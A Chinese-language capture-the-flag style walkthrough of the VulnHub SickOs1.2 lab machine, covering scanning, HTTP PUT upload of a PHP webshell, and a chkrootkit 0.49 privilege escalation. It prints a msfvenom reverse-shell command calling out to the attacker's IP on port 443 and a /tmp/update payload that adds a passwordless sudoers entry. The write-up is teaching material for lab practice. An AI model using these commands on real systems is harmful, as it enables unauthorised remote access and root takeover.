kali渗透综合靶机(十二)--SickOs1.2靶机
靶机下载地址:https://www.vulnhub.com/entry/sickos-12,144/
一、主机发现
1.netdiscover -i eth0 -r 192.168.10.0/24
二、端口扫描
1. masscan --rate=10000 -p0-65535 192.168.10.170
三、端口服务识别
1. nmap -sV -T4 -O -p 22,80 192.168.10.170
四、漏洞查找与利用
1.浏览器访问http://192.168.10.170,发现发现登录界面,尝试目录扫描,没发现有用信息
2.发现http://192.168.10.170/test/
3.发现ssh的版本OpenSSH 5.9p1,存在用户枚举漏洞,用msf枚举用户得到用户John, root
4.使用hydra进行ssh爆破,没有破解出来
5.发现web服务的版本lighttpd 1.4.28
searchsploit lighttpd,搜索漏洞,发现没有什么可利用的漏洞
6. nmap 192.168.10.170 --script=http-methods.nse --script-args=http.methods.url-path="/test" 扫描/test页面的支持的http方法
或者对/test页面抓包,然后修改请求头为OPTIONS查看支持的HTTP方法
7. 上传了一个html文件进行测试,发现真的上传成功了(上传一个不存在的文件会响应201 Created)
Getshell方式一:
8.上传php一句话
9.菜刀连接一句话
10.在菜刀中上传php反弹shell,反弹连接的IP以及端口,端口设置为443(防火墙阻止了非常用端口出去)
11.查看系统版本和内核版本
Getshell方式二:
1.Msfvenom生成一个反弹shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.168 LPORT=443 > shell_443.php
2.curl上传生成的反弹shell到目标
3.Msf开启监听
4.访问上传的shell
5.获得目标的shell
提权方式一:利用exp
1.查看系统是否存在chkrootkit,发现chkrootkit的版本为0.49
2. chkrootkit 0.49漏洞原理:chkrootkit有crontab,会定期以root身份执行/tmp/update文件。如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/ tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。
漏洞利用: 于是我们可以利用这一点,在/tmp目录下新建update文件,做我们想让root帮我们做的事
touch /tmp/update
chmod +x /tmp/update
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update
sudo su root
提权方式二:
1.exploit-database中对漏洞chkrootkit进行搜索
2.msf中利用对应的漏洞结合已经获得的session
3.使用exploit/unix/local/chkrootkit模块本地提权,设置参数
4.开始攻击,成功,获得管理员权限
提权方式三:
1.编写exp
2.上传exp到目标靶机
3.把上传的脚本拷贝到/tmp目录下
4.执行update,获得root权限
总结:
1、信息收集、端口扫描、服务识别、目录扫描
2、nmap 的http-methods.nse脚本获得目标支持的http方法,发现/test页面支持put方法
3、使用burp修改包,用put方法上传一句话或者curl 上传获得shell
4、利用chkrootkit版本0.49定期以root身份执行/tmp/update文件来提权。
1.利用msf中chkrootkit攻击模块
2.手动创建在/tmp创建update文件,然后利用自动执行update文件,在update写入添加账户到sudo组
3.使用C语言编写exp,改变/tmp的所属组为root以及增加uid为root权限,上传都目标服务器,编译然后执行,提权成功。
来源:https://www.cnblogs.com/yuzly/p/10854392.html